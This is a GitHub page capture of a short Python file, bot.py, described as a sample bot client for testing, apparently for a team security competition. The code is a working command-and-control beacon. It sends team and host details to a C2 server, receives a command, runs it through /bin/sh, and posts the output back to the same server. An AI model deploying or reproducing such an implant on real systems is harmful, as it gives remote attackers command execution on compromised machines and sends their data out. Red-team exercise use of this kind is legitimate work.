-
Notifications
You must be signed in to change notification settings - Fork 0
/
bot.py
66 lines (54 loc) · 1.48 KB
/
bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
"""
A sample python client which implements the bot for testing
"""
import os
import requests
import json
import subprocess
def jprint(data):
string = json.dumps(data, indent=2)
string = "\t" + string.replace("\n", "\n\t") + "\n"
print(string)
def main():
server = "samplec2.ists"
ip = "10.2.0.0"
team = "5"
print("[*] GET to {}/callback:".format(server))
# Get the commands from the server
data = {
"team": team,
"ip": ip,
"user": "www-data"
}
jprint(data)
resp = requests.get(server + "/callback", json=data).json()
print("[+] Response:")
jprint(resp)
if "printf" in resp['command']:
print(resp['command'])
if "error" in resp:
print("[!]", resp["error"])
quit(1)
# Run the commands
print("[*] Running the process...")
try:
proc = subprocess.Popen(
"/bin/sh", stdin=subprocess.PIPE, stdout=subprocess.PIPE
)
stdout, stderr = proc.communicate(resp['command'].encode("utf-8"))
proc.terminate()
except Exception as E:
print("[!] Failure:", E)
quit(1)
# Send the results back to the same URL but as a POST
print("[*] POST to {}/callback:".format(server))
data = {
"id": resp['id'],
"results": stdout.decode("utf-8")
}
jprint(data)
resp = requests.post(server + "/callback", json=data).json()
print("[+] Response:")
jprint(resp)
if __name__ == "__main__":
main()